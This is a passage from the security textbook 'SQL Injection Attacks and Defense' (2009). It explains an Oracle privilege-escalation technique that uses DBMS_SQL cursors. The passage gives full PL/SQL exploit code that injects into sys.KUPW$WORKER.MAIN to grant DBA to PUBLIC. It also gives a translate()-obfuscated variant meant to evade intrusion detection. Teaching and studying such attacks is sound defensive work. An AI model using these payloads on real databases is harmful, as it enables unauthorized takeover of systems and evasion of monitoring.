SQL Injection Attacks and Defense - 2009

Exploiting SQL Injection • Chapter 4 191
The current session still has DBA privileges, but this will no longer be visible in the
Oracle privilege tables.
One of the disadvantages of this approach is the requirement of having the CREATE
PROCEDURE privilege. David Litchfield presented a solution to this problem at the
BlackHat DC conference. Instead of using a procedure, it is possible to use a cursor. The
exploit approach is identical; however, the function is replaced by a cursor as follows:
and 1=user1.f1
The preceding code is replaced with the following:
and 1=dbms_sql.execute(1)
The complete exploit without using a procedure looks like this:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,
'declare pragma autonomous_transaction;
begin execute immediate ''grant dba to public''; commit;end;',0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute('||myc||')--');
END;
/
set role dba;
revoke dba from public;
Note that to evade intrusion detection systems (IDSs) it is possible to encrypt the payload
of the exploit—say, encrypting “…grant dba to public…” as follows:
DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,translate('uzikpsz fsprjp pnmghgjgna_msphapimwgh) ozrwh zczinmz
wjjzuwpmz (rsphm uop mg fnokwi()igjjwm)zhu)',
'poiuztrewqlkjhgfdsamnbvcxy()=!','abcdefghijklmnopqrstuvwxyz'';:='),0);
sys.KUPW$WORKER.MAIN('x',''' and 1=dbms_sql.execute ('||myc||')--');
END;
/
set role dba;
revoke dba from public;